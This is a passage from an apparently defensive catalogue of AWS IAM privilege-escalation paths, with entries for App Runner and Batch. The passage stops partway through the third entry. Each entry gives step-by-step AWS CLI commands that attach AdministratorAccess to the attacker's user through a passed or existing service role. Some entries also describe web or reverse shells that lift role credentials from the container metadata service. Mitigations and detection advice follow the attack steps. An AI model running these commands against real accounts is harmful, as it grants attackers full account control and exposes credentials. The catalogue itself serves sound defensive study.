[
  {
    "id": "apprunner-001",
    "name": "iam:PassRole + apprunner:CreateService",
    "category": "new-passrole",
    "services": [
      "iam",
      "apprunner"
    ],
    "description": "A principal with `iam:PassRole` and `apprunner:CreateService` can create an AWS App Runner service with a privileged IAM role attached. The service runs with the attached role's permissions, and the attacker has multiple ways to leverage these permissions. They can configure a StartCommand to execute AWS CLI commands when the service starts, deploy a container with a web shell or reverse shell to access the role's credentials via the container metadata service, or use a repository with an apprunner.yaml file containing malicious commands. This technique provides direct privilege escalation to any IAM role that can be attached to App Runner services.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts tasks.apprunner.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts tasks.apprunner.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Verify your current identity and note your username for the next step"
        },
        {
          "step": 2,
          "command": "aws apprunner create-service \\\n  --service-name privesc-service \\\n  --source-configuration '{\n    \"ImageRepository\": {\n      \"ImageIdentifier\": \"public.ecr.aws/aws-cli/aws-cli:latest\",\n      \"ImageRepositoryType\": \"ECR_PUBLIC\",\n      \"ImageConfiguration\": {\n        \"Port\": \"8080\",\n        \"StartCommand\": \"iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"\n      }\n    },\n    \"AutoDeploymentsEnabled\": false\n  }' \\\n  --instance-configuration '{\n    \"Cpu\": \"1 vCPU\",\n    \"Memory\": \"2 GB\",\n    \"InstanceRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\"\n  }'\n",
          "description": "Create an App Runner service using the public AWS CLI image with a StartCommand that grants admin access to your user"
        },
        {
          "step": 3,
          "command": "aws apprunner describe-service --service-arn SERVICE_ARN --query 'Service.Status'",
          "description": "Wait for the service to reach 'RUNNING' status (may take 3-5 minutes). The StartCommand executes when the service starts, attaching AdministratorAccess to your user."
        },
        {
          "step": 4,
          "command": "sleep 15",
          "description": "Wait 15 seconds for IAM policy changes to propagate"
        },
        {
          "step": 5,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrator access by listing IAM users (should now succeed)"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an App Runner service need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificAppRunnerRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"apprunner.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual App Runner service creation followed by immediate execution\n- Monitor CloudTrail for service creation by principals who do not usually create services\n- Monitor CloudTrail for roles being passed to App Runner that haven't been used before\n- Monitor and alert on App Runner service creation with privileged roles\n- Regularly audit App Runner services for excessive IAM permissions\n- Regularly audit all IAM roles that trust the App Runner service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Bollina Bhagavan",
        "organization": "Appsecco",
        "date": 2021,
        "link": "https://blog.appsecco.com/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77"
      }
    },
    "references": [
      {
        "title": "Getting Shell and Data Access in AWS App Runner",
        "url": "https://blog.appsecco.com/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77"
      },
      {
        "title": "HackTricks Cloud - AWS App Runner Privilege Escalation",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/index.html#iampassrole-apprunnercreateservice"
      }
    ],
    "relatedPaths": [
      "apprunner-002",
      "lambda-001",
      "ec2-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L287",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L182"
    },
    "toolSupport": {
      "pmapper": false,
      "iamVulnerable": false
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+apprunner-createservice",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and apprunner:CreateService permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "apprunner_service",
          "label": "New App Runner Service",
          "type": "resource",
          "description": "New App Runner service created with a privileged IAM role attached. The service runs on AWS-managed infrastructure and automatically assumes the attached role. The attacker can configure the service in multiple ways to leverage the role's permissions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the Apprunner Service",
          "type": "principal",
          "description": "IAM role passed to the App Runner service as the instance role. The role must trust apprunner.amazonaws.com to assume it. When the App Runner service starts, it assumes this role and provides access to the role's permissions through various methods.\n"
        },
        {
          "id": "method_startcommand",
          "label": "Method 1: StartCommand",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure a StartCommand that executes when the service starts, running AWS CLI commands with the target role's credentials. The StartCommand can perform privileged actions such as:\n- Attaching AdministratorAccess policy to the starting principal\n- Creating new access keys for privileged users\n- Modifying IAM policies or trust relationships\n- Exfiltrating data from S3, secrets, or databases\n- Any AWS API action the target role has permissions for\n\nExample: `StartCommand: \"iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"`\n"
        },
        {
          "id": "method_webshell",
          "label": "Method 2: ECR Image with Web Shell",
          "type": "payload",
          "color": "#99ccff",
          "description": "Deploy a container image (from ECR or public registry) containing a web shell or reverse shell. The container runs with the target role's permissions and can access the role's temporary credentials via the container metadata service at 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.\n\nThe web shell provides an interface to:\n- Query the metadata service for temporary credentials (AccessKeyId, SecretAccessKey, SessionToken)\n- Execute arbitrary commands within the container\n- Exfiltrate the credentials for use outside the container\n"
        },
        {
          "id": "method_apprunner_yaml",
          "label": "Method 3: Repository with apprunner.yaml",
          "type": "payload",
          "color": "#99ccff",
          "description": "Point the App Runner service to a source code repository containing a malicious apprunner.yaml configuration file. The apprunner.yaml file can specify build and run commands that execute during the service deployment and startup, running with the target role's permissions.\n\nThe apprunner.yaml can include:\n- Pre-build commands that execute during image build\n- Post-build commands after the build completes\n- Start commands that run when the service starts\n- All commands execute with access to the target role's credentials via environment variables or metadata service\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions (but not full admin). Using any of the three exploitation methods, the attacker can leverage these permissions for data exfiltration (S3, RDS, DynamoDB), modification of security configurations, or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role only has minimal permissions (like logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides minimal value.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "apprunner_service",
          "label": "iam:PassRole + apprunner:CreateService",
          "description": "Create a new App Runner service and pass the target role as the instance role. The service can be configured using multiple approaches (StartCommand, container image, or source repository).\n\nExample command (StartCommand approach):\n```bash\naws apprunner create-service \\\n  --service-name privesc-service \\\n  --source-configuration '{\n    \"ImageRepository\": {\n      \"ImageIdentifier\": \"public.ecr.aws/aws-cli/aws-cli:latest\",\n      \"ImageRepositoryType\": \"ECR_PUBLIC\",\n      \"ImageConfiguration\": {\n        \"Port\": \"8080\",\n        \"StartCommand\": \"iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"\n      }\n    },\n    \"AutoDeploymentsEnabled\": false\n  }' \\\n  --instance-configuration '{\n    \"Cpu\": \"1 vCPU\",\n    \"Memory\": \"2 GB\",\n    \"InstanceRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\"\n  }'\n```\n"
        },
        {
          "from": "apprunner_service",
          "to": "target_role",
          "label": "Service assumes role",
          "description": "The App Runner service automatically assumes the passed instance role when it starts. The service now has access to all permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "method_startcommand",
          "label": "Option A",
          "description": "Use the StartCommand configuration parameter to execute AWS CLI commands when the service starts. The command runs with the target role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "method_webshell",
          "label": "Option B",
          "description": "Deploy a container image containing a web shell or reverse shell. Access the role's credentials via the container metadata service.\n"
        },
        {
          "from": "target_role",
          "to": "method_apprunner_yaml",
          "label": "Option C",
          "description": "Configure the service to use a source code repository with a malicious apprunner.yaml file that specifies commands to execute during build and runtime.\n"
        },
        {
          "from": "method_startcommand",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "The StartCommand executes with AdministratorAccess permissions and successfully grants the starting principal full administrative access.\n"
        },
        {
          "from": "method_startcommand",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "The StartCommand executes with elevated permissions and can perform privileged actions within those permissions.\n"
        },
        {
          "from": "method_startcommand",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "The StartCommand has minimal permissions and provides limited value for privilege escalation.\n"
        },
        {
          "from": "method_webshell",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "The web shell successfully exfiltrates credentials with AdministratorAccess permissions, granting full administrative access.\n"
        },
        {
          "from": "method_webshell",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "The web shell exfiltrates credentials with elevated permissions that can be used for data access or further escalation.\n"
        },
        {
          "from": "method_webshell",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "The exfiltrated credentials have minimal permissions and provide limited value.\n"
        },
        {
          "from": "method_apprunner_yaml",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "The apprunner.yaml commands execute with AdministratorAccess permissions and successfully escalate privileges.\n"
        },
        {
          "from": "method_apprunner_yaml",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "The apprunner.yaml commands execute with elevated permissions and can perform privileged actions.\n"
        },
        {
          "from": "method_apprunner_yaml",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "The apprunner.yaml commands have minimal permissions and provide limited value.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "apprunner:CreateService",
          "resourceConstraints": "Must have permission to create App Runner services"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/apprunner/apprunner-001.yaml"
  },
  {
    "id": "apprunner-002",
    "name": "apprunner:UpdateService",
    "category": "existing-passrole",
    "services": [
      "apprunner"
    ],
    "description": "A principal with `apprunner:UpdateService` can modify an existing App Runner service's configuration. If the target service has a privileged IAM role attached, the attacker can update the service to leverage the attached role's permissions. They have multiple ways to exploit this, including configuring a StartCommand to execute AWS CLI commands when the service redeploys, updating to a container image with a web shell or reverse shell to access the role's credentials via the container metadata service, or pointing to a repository with a malicious apprunner.yaml file. This is similar to `lambda:UpdateFunctionCode` but for containerized applications. Unlike creating a new service, this doesn't require `iam:PassRole` since the role is already attached to the existing service.",
    "prerequisites": {
      "admin": [
        "An App Runner service must exist with an IAM role attached",
        "The service's role must have administrative permissions"
      ],
      "lateral": [
        "An App Runner service must exist with an IAM role attached"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws apprunner list-services",
          "description": "List existing App Runner services to find targets with privileged roles"
        },
        {
          "step": 2,
          "command": "aws apprunner describe-service --service-arn SERVICE_ARN",
          "description": "Check the service's instance role ARN to confirm elevated permissions and note the current port configuration"
        },
        {
          "step": 3,
          "command": "aws sts get-caller-identity",
          "description": "Verify your current identity and note your username for the next step"
        },
        {
          "step": 4,
          "command": "aws apprunner update-service \\\n  --service-arn SERVICE_ARN \\\n  --source-configuration '{\n    \"ImageRepository\": {\n      \"ImageIdentifier\": \"public.ecr.aws/aws-cli/aws-cli:latest\",\n      \"ImageRepositoryType\": \"ECR_PUBLIC\",\n      \"ImageConfiguration\": {\n        \"Port\": \"CURRENT_PORT\",\n        \"StartCommand\": \"iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"\n      }\n    },\n    \"AutoDeploymentsEnabled\": false\n  }'\n",
          "description": "Update the service to use the public AWS CLI image with a StartCommand that grants admin access to your user"
        },
        {
          "step": 5,
          "command": "aws apprunner describe-service --service-arn SERVICE_ARN --query 'Service.Status'",
          "description": "Wait for the service to complete redeployment and reach 'RUNNING' status (may take 3-5 minutes). The StartCommand executes when the service starts."
        },
        {
          "step": 6,
          "command": "sleep 15",
          "description": "Wait 15 seconds for IAM policy changes to propagate"
        },
        {
          "step": 7,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrator access by listing IAM users (should now succeed)"
        }
      ]
    },
    "recommendation": "Restrict the `apprunner:UpdateService` permission using resource-based constraints.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"apprunner:UpdateService\",\n  \"Resource\": \"arn:aws:apprunner:REGION:ACCOUNT_ID:service/SpecificService/HASH\"\n}\n```\n\nAdditional controls:\n- Monitor CloudTrail for `UpdateService` events on sensitive App Runner services\n- Alert on changes to StartCommand, especially those executing IAM, STS, or security-related commands\n- Implement container image scanning and require signed images\n- Only allow images from approved ECR repositories using conditions (consider blocking public ECR if not needed)\n- Alert on source configuration changes to services with privileged roles\n- Use AWS Config to detect unauthorized service updates\n- Implement deployment approvals for production services\n- Enable auto-deployments only from trusted source repositories\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "apprunner-001",
        "modification": "Uses apprunner:UpdateService to modify an existing service instead of apprunner:CreateService to create a new one. This bypasses the need for iam:PassRole since the role is already attached to the existing service."
      },
      "ultimateOrigin": {
        "pathId": "apprunner-001",
        "author": "Bollina Bhagavan",
        "organization": "Appsecco",
        "date": 2021,
        "link": "https://blog.appsecco.com/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77"
      }
    },
    "references": [
      {
        "title": "Getting Shell and Data Access in AWS App Runner",
        "url": "https://blog.appsecco.com/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77"
      }
    ],
    "relatedPaths": [
      "apprunner-001",
      "lambda-003",
      "glue-002"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L292"
    },
    "permissions": {
      "required": [
        {
          "permission": "apprunner:UpdateService",
          "resourceConstraints": "Target App Runner service must be in the Resource section"
        }
      ]
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/apprunner-updateservice",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with apprunner:UpdateService permission. Can be an IAM user or role. This principal can modify existing App Runner services to change their container image source.\n"
        },
        {
          "id": "target_service",
          "label": "Existing App Runner Service",
          "type": "resource",
          "description": "An existing App Runner service with an IAM role attached. The service runs containerized applications and can be reconfigured using multiple approaches to leverage the attached role's permissions. Unlike creating a new service, updating doesn't require iam:PassRole.\n"
        },
        {
          "id": "service_role",
          "label": "Existing Role That Trusts the Apprunner Service",
          "type": "principal",
          "description": "IAM role already attached to the App Runner service. The role trusts apprunner.amazonaws.com and was passed when the service was created. When the service is updated and redeploys, it continues to use this role and provides access to the role's permissions through various methods.\n"
        },
        {
          "id": "method_startcommand",
          "label": "Method 1: StartCommand",
          "type": "payload",
          "color": "#99ccff",
          "description": "Update the service configuration to include a StartCommand that executes when the service redeploys, running AWS CLI commands with the service role's credentials. The StartCommand can perform privileged actions such as:\n- Attaching AdministratorAccess policy to the starting principal\n- Creating new access keys for privileged users\n- Modifying IAM policies or trust relationships\n- Exfiltrating data from S3, secrets, or databases\n- Any AWS API action the service role has permissions for\n\nExample: `StartCommand: \"iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"`\n"
        },
        {
          "id": "method_webshell",
          "label": "Method 2: ECR Image with Web Shell",
          "type": "payload",
          "color": "#99ccff",
          "description": "Update the service to use a container image (from ECR or public registry) containing a web shell or reverse shell. The container runs with the service role's permissions and can access the role's temporary credentials via the container metadata service at 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.\n\nThe web shell provides an interface to:\n- Query the metadata service for temporary credentials (AccessKeyId, SecretAccessKey, SessionToken)\n- Execute arbitrary commands within the container\n- Exfiltrate the credentials for use outside the container\n"
        },
        {
          "id": "method_apprunner_yaml",
          "label": "Method 3: Repository with apprunner.yaml",
          "type": "payload",
          "color": "#99ccff",
          "description": "Update the service to point to a source code repository containing a malicious apprunner.yaml configuration file. The apprunner.yaml file can specify build and run commands that execute during the service redeployment and startup, running with the service role's permissions.\n\nThe apprunner.yaml can include:\n- Pre-build commands that execute during image build\n- Post-build commands after the build completes\n- Start commands that run when the service starts\n- All commands execute with access to the service role's credentials via environment variables or metadata service\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The service role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The service role has some elevated permissions (but not full admin). Using any of the three exploitation methods, the attacker can leverage these permissions for data exfiltration (S3, RDS, DynamoDB), modification of security configurations, or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The service role only has minimal permissions (like logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides minimal value.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_service",
          "label": "apprunner:UpdateService",
          "description": "Update the existing App Runner service's configuration. The service can be reconfigured using multiple approaches (StartCommand, container image, or source repository). Unlike creating a new service, this doesn't require iam:PassRole since the role is already attached.\n\nExample command (StartCommand approach):\n```bash\naws apprunner update-service \\\n  --service-arn SERVICE_ARN \\\n  --source-configuration '{\n    \"ImageRepository\": {\n      \"ImageIdentifier\": \"public.ecr.aws/aws-cli/aws-cli:latest\",\n      \"ImageRepositoryType\": \"ECR_PUBLIC\",\n      \"ImageConfiguration\": {\n        \"Port\": \"CURRENT_PORT\",\n        \"StartCommand\": \"iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"\n      }\n    },\n    \"AutoDeploymentsEnabled\": false\n  }'\n```\n"
        },
        {
          "from": "target_service",
          "to": "service_role",
          "label": "Service uses existing role",
          "description": "The App Runner service redeploys with the updated configuration. The service continues to use its existing IAM role and has access to all permissions granted to this role.\n"
        },
        {
          "from": "service_role",
          "to": "method_startcommand",
          "label": "Option A",
          "description": "Update the service configuration to include a StartCommand that executes AWS CLI commands when the service redeploys. The command runs with the service role's credentials.\n"
        },
        {
          "from": "service_role",
          "to": "method_webshell",
          "label": "Option B",
          "description": "Update the service to use a container image containing a web shell or reverse shell. Access the role's credentials via the container metadata service.\n"
        },
        {
          "from": "service_role",
          "to": "method_apprunner_yaml",
          "label": "Option C",
          "description": "Update the service to use a source code repository with a malicious apprunner.yaml file that specifies commands to execute during build and runtime.\n"
        },
        {
          "from": "method_startcommand",
          "to": "admin",
          "label": "If service role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "The StartCommand executes with AdministratorAccess permissions and successfully grants the starting principal full administrative access.\n"
        },
        {
          "from": "method_startcommand",
          "to": "some_perms",
          "label": "If service role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "The StartCommand executes with elevated permissions and can perform privileged actions within those permissions.\n"
        },
        {
          "from": "method_startcommand",
          "to": "no_access",
          "label": "If service role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "The StartCommand has minimal permissions and provides limited value for privilege escalation.\n"
        },
        {
          "from": "method_webshell",
          "to": "admin",
          "label": "If service role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "The web shell successfully exfiltrates credentials with AdministratorAccess permissions, granting full administrative access.\n"
        },
        {
          "from": "method_webshell",
          "to": "some_perms",
          "label": "If service role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "The web shell exfiltrates credentials with elevated permissions that can be used for data access or further escalation.\n"
        },
        {
          "from": "method_webshell",
          "to": "no_access",
          "label": "If service role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "The exfiltrated credentials have minimal permissions and provide limited value.\n"
        },
        {
          "from": "method_apprunner_yaml",
          "to": "admin",
          "label": "If service role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "The apprunner.yaml commands execute with AdministratorAccess permissions and successfully escalate privileges.\n"
        },
        {
          "from": "method_apprunner_yaml",
          "to": "some_perms",
          "label": "If service role has some elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "The apprunner.yaml commands execute with elevated permissions and can perform privileged actions.\n"
        },
        {
          "from": "method_apprunner_yaml",
          "to": "no_access",
          "label": "If service role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "The apprunner.yaml commands have minimal permissions and provide limited value.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-02-13T11:28:37Z",
      "contributors": [
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/apprunner/apprunner-002.yaml"
  },
  {
    "id": "batch-001",
    "name": "iam:PassRole + batch:RegisterJobDefinition + batch:SubmitJob",
    "category": "new-passrole",
    "services": [
      "iam",
      "batch"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role and a Batch execution role to the Batch service"
        },
        {
          "permission": "batch:RegisterJobDefinition",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "batch:SubmitJob",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "batch:DescribeJobs",
          "resourceConstraints": "Useful for polling job status to confirm execution"
        },
        {
          "permission": "batch:DescribeJobQueues",
          "resourceConstraints": "Helpful for discovering available job queues to submit to"
        },
        {
          "permission": "batch:DescribeComputeEnvironments",
          "resourceConstraints": "Helpful for discovering available compute environments"
        },
        {
          "permission": "batch:DeregisterJobDefinition",
          "resourceConstraints": "Useful for cleaning up the malicious job definition after exploitation"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `batch:RegisterJobDefinition`, and `batch:SubmitJob` can escalate privileges by registering a new AWS Batch job definition that passes an admin IAM role as the `jobRoleArn`, then submitting a job that overrides the container command to call `iam:AttachUserPolicy`, attaching AdministratorAccess to the starting user. The Fargate container runs with the admin role's credentials and performs the IAM escalation.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts batch.amazonaws.com to assume it (or can be assumed via the Batch Fargate execution chain)",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "An existing Batch job queue and compute environment must be available in the account"
      ],
      "lateral": [
        "A role must exist that trusts batch.amazonaws.com to assume it (or can be assumed via the Batch Fargate execution chain)",
        "An existing Batch job queue and compute environment must be available in the account"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws batch register-job-definition \\\n  --job-definition-name privesc-job-def \\\n  --type container \\\n  --platform-capabilities FARGATE \\\n  --container-properties '{\n    \"image\": \"amazon/aws-cli:latest\",\n    \"jobRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\",\n    \"executionRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/EXECUTION_ROLE\",\n    \"resourceRequirements\": [\n      {\"type\": \"VCPU\", \"value\": \"0.25\"},\n      {\"type\": \"MEMORY\", \"value\": \"512\"}\n    ],\n    \"networkConfiguration\": {\"assignPublicIp\": \"ENABLED\"},\n    \"command\": [\n      \"iam\", \"attach-user-policy\",\n      \"--user-name\", \"STARTING_USER\",\n      \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"\n    ]\n  }'\n",
          "description": "Register a new Batch job definition that passes an admin IAM role as the jobRoleArn. The container command calls iam:AttachUserPolicy to escalate privileges when executed."
        },
        {
          "step": 2,
          "command": "aws batch submit-job \\\n  --job-name privesc-job \\\n  --job-queue JOB_QUEUE_NAME \\\n  --job-definition privesc-job-def:1\n",
          "description": "Submit the Batch job to the queue. The Fargate container starts, assumes the admin jobRoleArn, and executes the command to attach AdministratorAccess to the starting user."
        },
        {
          "step": 3,
          "command": "aws batch describe-jobs \\\n  --jobs JOB_ID \\\n  --query 'jobs[0].status' \\\n  --output text\n",
          "description": "Poll the job status. Once it reaches SUCCEEDED, AdministratorAccess has been attached to the starting user."
        },
        {
          "step": 4,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
          "description": "Verify privilege escalation success by confirming AdministratorAccess is now attached to the starting user."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative Batch job roles** - Very rarely does a Batch job need administrative access. Use the principle of least privilege and scope job roles to only the data and services the job legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificBatchJobRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"batch.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict `batch:RegisterJobDefinition`** - This permission lets any holder define arbitrary container workloads with any role. Restrict it to trusted CI/CD principals only.\n- Monitor CloudTrail for unusual Batch job definition registrations followed by immediate job submission\n- Monitor CloudTrail for Batch job definitions registered by principals who do not usually create job definitions\n- Monitor CloudTrail for roles being passed to Batch that haven't been used before\n- Monitor and alert on Batch job definitions that reference privileged roles\n- Regularly audit Batch job definitions and execution roles for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Batch service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS Batch - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsbatch.html"
      },
      {
        "title": "Messing Around With AWS Batch For Privilege Escalations - Doyensec",
        "url": "https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html"
      },
      {
